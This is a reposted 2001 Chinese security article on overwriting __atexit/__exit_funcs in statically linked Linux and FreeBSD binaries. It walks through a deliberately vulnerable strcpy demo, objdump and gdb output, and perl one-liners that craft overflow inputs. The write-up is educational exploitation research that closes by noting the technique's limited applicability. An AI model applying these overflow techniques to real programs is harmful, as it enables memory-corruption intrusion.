【分析】通过覆盖__atexit进行缓冲区溢出攻击的补充

通过覆盖__atexit进行缓冲区溢出攻击的补充


创建时间:2001-07-20
文章属性:原创
文章来源: http://www.xfocus.org
文章提交: alert7 (sztcww_at_sina.com)

通过覆盖__atexit进行缓冲区溢出攻击的补充
整理:alert7
mail:alert7@21cn.com
主页: http://www.xfocus.org

前言:
    如果您看过《通过覆盖__atexit进行缓冲区溢出攻击》,请一定继续看把
这篇文章看完,因为.....

内容细节:
   今天又重温了一遍warning3翻译整理的《通过覆盖.dtors进行缓冲区溢出攻击》
把他上面那个bleh.c试着用静态编译做了一道。
[alert7 @ww alert7 ]$ cat bleh.c
#include <stdlib.h>
#include <sys/types.h>
static void bleh(void);
int
main(int argc, char *argv[])
{
        static u_char buf[] = "bleh";
        if (argc < 2)
                exit(EXIT_FAILURE);
        strcpy(buf, argv[1]);
        exit(EXIT_SUCCESS);
}
void
bleh(void)
{
        printf("goffio!/n");
}

[alert7 @ww alert7 ]$ gcc -o bleh bleh.c -static
[alert7 @ww alert7 ]$ objdump -s -j .dtors  bleh
bleh:     file format elf32-i386
Contents of section .dtors:
8078d08 ffffffff 00000000
确定.dtors中的析构函数的地址为0x08078d08+4

[alert7 @ww alert7 ]$ objdump --syms bleh | egrep 'text.*bleh'
080481d8 l     F .text  00000012 bleh
bleh函数的地址为0x080481d8

[alert7 @ww alert7 ]$  objdump -s -j .dtors -j .data bleh|grep bleh
bleh:     file format elf32-i386
80777a0 00000000 0c8d0708 00000000 626c6568  ............bleh
字符串bleh的地址为0x80777a0+12

所以A的个数为:0x08078d08+4-(0x80777a0+12)=0x1560=5472

好象一切还挺顺利的,看看攻击能不能成功。
[alert7 @ww alert7 ]$ ./bleh `perl -e 'print "A" x 5472; print "/xd8/x81/x04/x08";'`
Segmentation fault (core dumped)

为什么会这样,还是看看core哪个地方出错了。
[alert7 @ww alert7 ]$ gdb -q bleh core
Core was generated by `./bleh

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x80482a6 in exit (status=0) at exit.c:42
exit.c:42: No such file or directory.
(gdb) bt
#0  0x80482a6 in exit (status=0) at exit.c:42
#1  0x80481d0 in main ()
#2  0x804827d in __libc_start_main (main=0x80481a0 <main>, argc=2,
    argv=0xbfffe8a4, init=0x80480b4 <_init>, fini=0x806f2ec <_fini>,
    rtld_fini=0, stack_end=0xbfffe89c) at ../sysdeps/generic/libc-start.c:78
原来是在exit函数里面出错的,是否会联想到在《通过覆盖__atexit进行缓冲区溢出攻击》
讲到的因为覆盖了__atexit变量使exit函数导致段错误的情况呢。let's go,看我们来看看。

[alert7 @ww alert7 ]$ gdb bleh -q
(gdb) b exit
Breakpoint 1 at 0x8048298: file exit.c, line 40.
(gdb) r
Starting program: /home/alert7 /bleh

Breakpoint 1, exit (status=1) at exit.c:40
exit.c:40: No such file or directory.
(gdb) p __exit_funcs
$1 = (struct exit_function_list *) 0x80777e0

我们来把这几个地址按小到大排列一下
字符串bleh的地址为        0x080777ac
__exit_funcs的地址为      0x080777e0
dtors中的析构函数的地址为 0x08078d0c

减少A的个数,使之够可以覆盖到__exit_funcs的地址就可以了。
字符串bleh的地址和__exit_funcs的地址相差为52个字节。

[alert7 @ww alert7 ]$ ./bleh `perl -e 'print "A" x 48; print "/xd8/x81/x04/x08";'`
一切正常,因为还没有覆盖到。
[alert7 @ww alert7 ]$ ./bleh `perl -e 'print "A" x 49; print "/xd8/x81/x04/x08";'`
Segmentation fault (core dumped)
覆盖到了一个字节,我们来看看。
[alert7 @ww alert7 ]$ gdb -q bleh
(gdb) b exit
Breakpoint 1 at 0x8048298: file exit.c, line 40.
(gdb) r `perl -e 'print "A" x 49; print "/xd8/x81/x04/x08";'`
Starting program: /home/alert7 /bleh `perl -e 'print "A" x 49; print "/xd8/x81/x04/x08";'`

Breakpoint 1, exit (status=0) at exit.c:40
exit.c:40: No such file or directory.
(gdb) p __exit_funcs
$1 = (struct exit_function_list *) 0x80777e0
(gdb) x/8x 0x80777e0
0x80777e0 <fnlist>:     0x00000008      0x00000001      0x00000003      0x0806f2ec
0x80777f0 <fnlist+16>:  0x00000000      0x00000000      0x00000000      0x00000000

构造了如上的atexit结构(该结构请参考《通过覆盖__atexit进行缓冲区溢出攻击》)

for (p = __atexit; p; p = p->next)
                for (n = p->ind; --n >= 0;)
                        (*p->fns[n])();
下一个atexit结构的地址就是0x00000008,该地址为不可访问地址,所以导致了段错误。

这也说明一个问题,atexit()注册的函数先于dtors中的析构函数执行。

以上的测试都是在linux上进行的,所以在LINUX上通过覆盖__atexit进行缓冲区溢出攻击,
还是有可能的,方法跟在freebsd上的相同。请参考那篇文章。在《通过覆盖__atexit进
行缓冲区溢出攻击》中,我很冒失的说了句“这种攻击在LINUX好象是不可能的吧”,
为此感到惭愧。

不致使您也重蹈覆辙,来看看下面的这个演示小程序:
在linux上
[alert7 @ww alert7 ]$ cat test.c
#include <stdio.h>
extern void * __exit_funcs;
int main(void)
        {
         static char buf1[2];
         static char buf[] = "bleh";
         static char scbuf[128];
         char *mabuf;
         mabuf = (char *) malloc(128);
         printf("__exit_funcs                  at %p/n", __exit_funcs);
         printf("malloced                      at %p/n", mabuf);
         printf("static                        at %p/n", &scbuf);
         printf("auto val                      at %p/n", &mabuf);
         printf("static  buf[]=/"bleh/"            at %p/n",&buf);
         printf("static buf1                   at %p/n", &buf1);
     return 0;
        }
[alert7 @ww alert7 ]$ gcc -o test test.c -static -g
[alert7 @ww alert7 ]$ ./test
__exit_funcs                  at 0x80779a0
malloced                      at 0x8079c40
static                        at 0x8078f20
auto val                      at 0xbffffdc0
static  buf[]="bleh"          at 0x807796c
static buf1                   at 0x8078f00

把他们从小到大排列一下
static  buf[]="bleh"          at 0x807796c
__exit_funcs                  at 0x80779a0
static buf1                   at 0x8078f00
static                        at 0x8078f20
malloced                      at 0x8079c40
auto val                      at 0xbffffdc0

在freebsd上
bash-2.05$ cat  test.c
#include <stdio.h>
extern void * __atexit;
int main(void)
        {
         static char buf1[2];
         static char buf[] = "bleh";
         static char scbuf[128];
         char *mabuf;
         mabuf = (char *) malloc(128);
         printf("__atexit                  at %p/n", __atexit);
         printf("malloced                      at %p/n", mabuf);
         printf("static                        at %p/n", &scbuf);
         printf("auto val                      at %p/n", &mabuf);
         printf("static  buf[]=/"bleh/"            at %p/n",&buf);
         printf("static buf1                   at %p/n", &buf1);
         return 0;
        }
bash-2.05$ gcc -o test test.c -static -g
bash-2.05$ ./test
__atexit                      at 0x8053060
malloced                      at 0x8055000
static                        at 0x8052fe0
auto val                      at 0xbfbffbec
static  buf[]="bleh"          at 0x805204c
static buf1                   at 0x8052fc0

把他们从小到大排列一下
static  buf[]="bleh"          at 0x805204c
static buf1                   at 0x8052fc0
static                        at 0x8052fe0
__atexit                      at 0x8053060
malloced                      at 0x8055000
auto val                      at 0xbfbffbec

好了,你也看到了
static char buf[] = "bleh"这样定义,buf地址就会比__exit_funcs小,
就有可能覆盖到__exit_funcs 。

总结:
   通过覆盖__atexit进行缓冲区溢出攻击的确不失为一种好的方法,好的
思路,但真正实施起来普遍性不强。因为有问题的程序需要满足如下两个
条件:
   1:需要用静态编译。
   2:需要类似这样定义变量static char buf[] = "bleh",
      使变量的地址小于__exit_funcs或者(freebsd上__atexit)。

这两个要求都是比较苛刻的,一般情况下或许找不到这样的问题程序。
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值